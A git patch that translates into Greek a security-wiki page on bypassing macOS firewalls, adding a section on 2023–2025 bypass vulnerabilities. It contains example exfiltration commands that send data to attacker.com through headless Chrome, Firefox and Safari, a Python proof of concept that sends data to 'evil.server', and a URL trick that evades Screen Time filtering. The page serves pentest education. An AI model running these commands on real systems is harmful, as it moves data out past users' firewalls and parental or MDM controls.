From 74e221a0a26cfa3bb5621a00137791b9f93d4155 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 5 Aug 2025 00:18:05 +0000 Subject: [PATCH] Translated ['src/macos-hardening/macos-security-and-privilege-escalation --- .../macos-bypassing-firewalls.md | 59 ++++++++++++++++++- 1 file changed, 56 insertions(+), 3 deletions(-) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md index 05d18ac0e..401d2c0eb 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md @@ -14,7 +14,7 @@ - Αν το firewall ζητήσει άδεια από τον χρήστη, κάντε το κακόβουλο λογισμικό να **κλικάρει στο επιτρέπω** -### **Χρήση υπογεγραμμένων δυαδικών αρχείων της Apple** +### **Χρησιμοποιήστε υπογεγραμμένα δυαδικά αρχεία της Apple** - Όπως **`curl`**, αλλά και άλλα όπως **`whois`** @@ -34,7 +34,7 @@ lsof -i TCP -sTCP:ESTABLISHED ``` ### Κατάχρηση DNS -Οι επιλύσεις DNS γίνονται μέσω της υπογεγραμμένης εφαρμογής **`mdnsreponder`**, η οποία πιθανότατα θα επιτρέπεται να επικοινωνεί με τους διακομιστές DNS. +Οι επιλύσεις DNS γίνονται μέσω της υπογεγραμμένης εφαρμογής **`mdnsreponder`** που πιθανώς θα επιτρέπεται να επικοινωνεί με τους διακομιστές DNS.
https://www.youtube.com/watch?v=UlT5KFTMn2k
@@ -53,7 +53,7 @@ end tell ```bash "Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil" ``` -- Φοίνικας +- Φοίνιξ ```bash firefox-bin --headless "https://attacker.com?data=data%20to%20exfil" ``` @@ -69,8 +69,61 @@ open -j -a Safari "https://attacker.com?data=data%20to%20exfil" macos-proces-abuse/ {{#endref}} +--- + +## Πρόσφατες ευπάθειες παράκαμψης τείχους προστασίας macOS (2023-2025) + +### Παράκαμψη φίλτρου περιεχομένου ιστού (Screen Time) – **CVE-2024-44206** +Τον Ιούλιο του 2024, η Apple διόρθωσε ένα κρίσιμο σφάλμα στο Safari/WebKit που κατέστρεψε το σύστημα “Φίλτρο περιεχομένου ιστού” που χρησιμοποιείται από τους γονικούς ελέγχους του Screen Time. +Μια ειδικά διαμορφωμένη URI (για παράδειγμα, με διπλό URL-encoded “://”) δεν αναγνωρίζεται από το ACL του Screen Time αλλά γίνεται αποδεκτή από το WebKit, οπότε το αίτημα αποστέλλεται χωρίς φιλτράρισμα. Οποιαδήποτε διαδικασία μπορεί να ανοίξει μια URL (συμπεριλαμβανομένου του sandboxed ή unsigned κώδικα) μπορεί επομένως να φτάσει σε τομείς που είναι ρητά αποκλεισμένοι από τον χρήστη ή ένα προφίλ MDM. + +Πρακτική δοκιμή (μη διορθωμένο σύστημα): +```bash +open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time +# if the patch is missing Safari will happily load the page +``` +### Bug στην παραγγελία κανόνων του Packet Filter (PF) σε πρώιμο macOS 14 “Sonoma” +Κατά τη διάρκεια του beta κύκλου του macOS 14, η Apple εισήγαγε μια αναστροφή στο wrapper του userspace γύρω από **`pfctl`**. +Οι κανόνες που προστέθηκαν με τη λέξη-κλειδί `quick` (που χρησιμοποιείται από πολλές VPN kill-switches) αγνοήθηκαν σιωπηλά, προκαλώντας διαρροές κυκλοφορίας ακόμη και όταν μια GUI VPN/firewall ανέφερε *μπλοκαρισμένο*. Το bug επιβεβαιώθηκε από αρκετούς προμηθευτές VPN και διορθώθηκε στην RC 2 (build 23A344). + +Γρήγορος έλεγχος διαρροής: +```bash +pfctl -sr | grep quick # rules are present… +sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface +``` +### Κατάχρηση υπηρεσιών βοηθού υπογεγραμμένων από την Apple (παλαιά – προ-macOS 11.2) +Πριν από το macOS 11.2, η **`ContentFilterExclusionList`** επέτρεπε ~50 δυαδικά της Apple όπως το **`nsurlsessiond`** και το App Store να παρακάμπτουν όλα τα τείχη προστασίας φίλτρου υποδοχών που υλοποιήθηκαν με το πλαίσιο Network Extension (LuLu, Little Snitch, κ.λπ.). +Το κακόβουλο λογισμικό μπορούσε απλά να δημιουργήσει μια διαδικασία που εξαιρείται—ή να εισάγει κώδικα σε αυτήν—και να σήκώσει τη δική του κίνηση μέσω της ήδη επιτρεπόμενης υποδοχής. Η Apple αφαίρεσε εντελώς τη λίστα εξαιρέσεων στο macOS 11.2, αλλά η τεχνική είναι ακόμα σχετική σε συστήματα που δεν μπορούν να αναβαθμιστούν. + +Παράδειγμα απόδειξης της έννοιας (προ-11.2): +```python +import subprocess, socket +# Launch excluded App Store helper (path collapsed for clarity) +subprocess.Popen(['/System/Applications/App\\ Store.app/Contents/MacOS/App Store']) +# Connect through the inherited socket +s = socket.create_connection(("evil.server", 443)) +s.send(b"exfil...") +``` +--- + +## Συμβουλές εργαλείων για σύγχρονο macOS + +1. Εξετάστε τους τρέχοντες κανόνες PF που δημιουργούν τα GUI firewalls: +```bash +sudo pfctl -a com.apple/250.ApplicationFirewall -sr +``` +2. Καταγράψτε τα δυαδικά αρχεία που ήδη κατέχουν την άδεια *outgoing-network* (χρήσιμο για piggy-backing): +```bash +codesign -d --entitlements :- /path/to/bin 2>/dev/null \ +| plutil -extract com.apple.security.network.client xml1 -o - - +``` +3. Προγραμματικά καταχωρίστε το δικό σας φίλτρο περιεχομένου Network Extension σε Objective-C/Swift. +Μια ελάχιστη rootless PoC που προωθεί πακέτα σε ένα τοπικό socket είναι διαθέσιμη στον πηγαίο κώδικα του **LuLu** του Patrick Wardle. + ## Αναφορές - [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k) +- +- {{#include ../../banners/hacktricks-training.md}}